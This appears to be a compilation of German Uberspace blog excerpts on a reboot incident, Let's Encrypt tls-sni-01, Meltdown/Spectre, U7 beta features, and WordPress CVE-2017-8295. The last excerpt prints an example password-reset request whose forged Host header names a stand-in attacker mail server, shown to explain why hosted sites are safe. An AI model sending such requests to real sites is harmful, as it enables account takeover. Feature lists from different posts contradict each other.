TLDR: Es gab heute um 13:15 einen ungeplanten Reboot und eine damit verbundene, sehr kurze Downtime bei allen U7-Hosts. Grund war, dass wir wegen einem journald-Bug einen Reboot benötigt haben, diesen aber (intern) nicht sauber kommuniziert haben: Code ausgerollt, zack Reboot! Das tut uns leid und sollte in Zukunft nicht mehr passieren. Mehr dazu weiter unten.

Heute am 22.01.2018 gegen 13:15 wurden alle unsere Uberspace 7 Hosts nicht 100% geplant rebootet. Die meisten Hosts waren nach weniger als zwei Minuten wieder da; geplant oder gar angekündigt war der kurze Ausfall allerdings dennoch nicht. Wir möchten euch in diesem Blogpost darlegen, wie es überhaupt dazu gekommen ist.

TLDR: Eine Hand voll Shared-Hosting-Anbietern ist im Moment von einer Lücke im Zusammenhang mit Let’s Encrypts tls-sni-01 Challenge betroffen. Wir nicht. Warum steht weiter unten.

Let’s Encrypt unterstützt neben der bekannten http-01 Challenge (das ist die mit den wunderschönen /.well-known/acme-challenge/evaGxf...-URLs) auch andere Validierungsformen wie dns-01 (involviert “Magic”-Records im DNS) und auch tls-sni-01. In diesem Fall findet die Validierung im TLS-Protokoll selbst, noch vor HTTP statt. Dazu müssen spezielle, selbst-signierte Zertifikate ausgeliefert werden. Die von euch, die das genauer interessiert: hier geht’s lang zum Standard-Dokument.

TLDR: Wir sind (wie alle mit Intel-CPUs) von Meltdown und Spectre betroffen. Es gibt Fixes. Sie einzuspielen erfordert einen Reboot. Siehe Liste dazu weiter unten.

Das Problem

Anfang Jänner wurde bekannt, dass alle neueren Intel-CPUs, AMD-CPUs in manchen Konstellationen und sogar einzelne ARM-CPUs von zwei Timing-Sicherheitslücke betroffen sind. Sie tragen die wunderschönen Namen Meltdown und Spectre. Diese Lücken ermöglichen es im Worst-Case privaten Speicher aus dem Kernel auszulesen und so fremde Daten in die Hände zu bekommen.

• Wir hatten uns in der Entwicklung darauf verständigt, virtuelle DocumentRoots - ein Feature von U5 und U6 - bei U7 nicht mehr als Feature anzubieten, sondern im Lauf der U7-Beta ein neues Dashboard zu releasen, mit dem es viel einfacher sein wird, mehrere Uberspaces zu verwalten, so wie wir uns das als “best practice” vorstellt haben. (Der Plan mit dem neuen Dashboard besteht natürlich weiter, und die Arbeit daran hat auch schon begonnen.)
• Wir haben schon damit gerechnet, dass diese Entscheidung erläuterungsbedürftig werden könnte. Der Widerspruch etlicher User traf uns allerdings in größerem Umfang, mit stärkerer Enttäuschung und mit Argumenten, die wir zu bedenken hatten. Wir wollten keinen “Okay, okay, okay”-Schnellschuss machen und unsere Entscheidung einfach wieder umwerfen, aber wir haben uns mit Usern ausgetauscht und Argumente und Use Cases eingesammelt, darüber gesprochen, und am Ende haben wir beschlossen, die virtuellen DocumentRoots entgegen der ursprünglichen Planung auch auf U7 einzuführen.
• Nach wie vor raten wir deutlich davon ab, dieses Feature zum Hosting mehrerer unterschiedlicher Projekte in einem Account zu verwenden, weil zwischen jenen Projekten dann keine Rechtetrennung besteht. Wenn Rechtetrennung wichtig ist - und das ist sie im Zweifelsfall fast immer - solltest du wie bisher dem Rat folgen, mehrere Uberspaces anzulegen. Wir werden das vereinfachen, versprochen.

Worum geht’s eigentlich?

Vom Konzept her ist ein Uberspace dazu gedacht, ein Projekt darauf zu hosten. Dafür wird /var/www/virtual/<user>/html als DocumentRoot angeboten. Schon ziemlich in der Anfangszeit trafen Fragen bei uns ein, ob man da nicht die Möglichkeit schaffen könnten, für kleinere Sachen einfach separate Verzeichnisse anzulegen, um keinen separaten Uberspace dafür anzulegen - “das lohnt doch gar nicht”. Wir waren mit Uberspace gerade erst gestartet, voller Tatendrang, ein wenig blauäugig vielleicht auch, und dachten uns: Klar, basteln wir doch schnell eine RewriteRule, und schon war das Feature geboren: User konnten ab sofort in /var/www/virtual/<user> einfach weitere Verzeichnisse ablegen, die so hießen wie Hostnamen, und schon wurden Anfragen nach jenen Hostnamen aus diesem Verzeichnis bedient (vorausgesetzt, der Hostname wurde auf den Uberspace aufgeschaltet). So weit, so gut - oder besser gesagt: So weit, so okay.

Welche Features machen die Beta schon heute besser als U6?

• vollautomatisches HTTPS-Handling mit Let’s Encrypt für alle Domains
• HTTP wird grundsätzlich auf HTTPS umgeleitet
• Diverse Security-Header werden als Default gesetzt
• wir unterstützen nun HTTP/2
• OCSP Stapling
• PHP ohne Startverzögerungen (eigene PHP-FPM-Instanz pro User)
• user.uber.space & *user*@uber.space
• MariaDB 10.1 ohne Klimmzüge
• insgesamt deutlich frischere Toolchain an Kommandozeilentools
• Webserver-Logging ist nun standardmäßig komplett aus (Datensparsamkeit FTW!), kann aber auf Wunsch eingeschaltet werden und liefert dann Logs mit gekürzten IP-Adressen
• komplett neues Handbuch auf manual.uberspace.de - aus einem Guss, auf Englisch, mobiltauglich und mit ChangeLog
• supervisord als leistungsstärkerer daemontools-Nachfolger zum Verwalten eigener Daemons

Was ist sonst noch fertig?

• Python 2.7, 3.4, 3.5, 3.6
• PHP 5.6, 7.0, 7.1, 7.2
• Perl 5.16.3
• Lua 5.1
• GCC 4.8 (C/C++)
• Cronjobs
• Subversion
• SQLite 3
• node.js 6, 8, 9
• virtuelle Mailuser (vmailmgr)
• maildrop
• ruby
• Adminer und phpMyAdmin
• Webmail
• Rspamd als Ersatz für SpamAssassin und DSPAM

Was kann die Beta noch nicht?

• Programmiersprachen: Ruby, Erlang und node.js
• Datenbanken: PostgreSQL, CouchDB und MongoDB
• virtuelle Mailuser (vmailmgr)
• Backups im direkten Userzugriff (wir machen durchaus Backups, aber der Zugriff ohne Support-Eingriff darauf fehlt noch)
• Adminer und phpMyAdmin
• Handbuch auf Deutsch
• ezmlm-idx
• maildrop
• gitolite 3
• Ports öffnen
• 2-Faktor-Authentifizierung für SSH
• Redis
• SpamAssassin
• Webmail

Welche Features werden wir auch nicht mehr einbauen?

• gitolite (ersetzt durch gitolite 3)
• DSPAM (unmaintained)
• daemontools (unmaintained, ersetzt durch supervisord)
• toast (unmaintained)
• CVS (unmaintained)
• Namensräume für Mail-Domains (hohe Komplexität und ein Support-Albtraum; nutze lieber separate Uberspaces dafür)
• Hostnamens-Verzeichnisse in /var/www/virtual/USER (hoher Supportaufwand, da technisch nicht 100% kompatibel zu echten DocumentRoots; motiviert zum Hosting unterschiedlichster Applikation im gleichen Account und vereinigt die Sicherheitsrisiken aller jener Applikationen; nutze lieber separate Uberspaces dafür)

Wie komme ich an einen U7-Beta-Account?

Auf https://uberspace.de/register?u7=1 bekommst du eine Checkbox angeboten, mit der einen Account auf U7 statt auf der derzeit stabilen Version U6 anlegen kannst.

Moin zusammen! Gehen wir gleich ans Eingemachte. Im letzten Blogartikel schreiben wir:

Zwar ist Uberspace 7 nicht feature complete, aber so gut wie „fertig“ genug, um es endlich für Euch aufzumachen. Das heißt, wir spucken nun nochmal ordentlich in die Hände, gehen Montag in den letzten, zweiwöchigen Sprint und dann… machen wir erst nochmal Urlaub und erholen uns ordentlich. 🌴😎

Die Entwickler unter euch werden wissen: Der letzte Sprint ist nie der letzte und so mussten wir natürlich auch hier (was ETAs angeht hätten wir eigentlich aus der Vergangenheit lernen müssen…) noch mal das Skalpell ansetzen und aus einem Sprint mehrere machen.

Standard WordPress-Installationen der Version 4.7.4 sind im Moment für die Lücke CVE-2017-8295 anfällig. Mithilfe dieser Lücke kann ein Angreifer Password-Reset-Mails an beliebige Mailserver umleiten und so an den kritischen Link gelangen. Seitens WordPress gibt es hierfür noch keinen Fix.

Das funktioniert, da WordPress den Host-Header 1:1 für diverse Mail-Header in der ausgehenden Mail benutzt. Wie das genau funktioniert könnt ihr in der Exploit-DB nachlesen.

Ein Angriff würde also beispielsweise so aussehen:

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com   <== oh noes! D:
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

In unserem Setup werden Requests anhand ihrer Host-Header an die jeweiligen Uberspaces und damit an die WordPress-Instanzen verteilt. Wenn nun eine Angreiferin den Header modifiziert, landet der Request gar nicht erst bei der angegriffenen WordPress-Instanz, sondern auf unserer “Diese Domain kennen wir leider nicht”-Seite. Ein WordPress, das bei uns gehostet ist, ist für diese Lücke also nicht anfällig.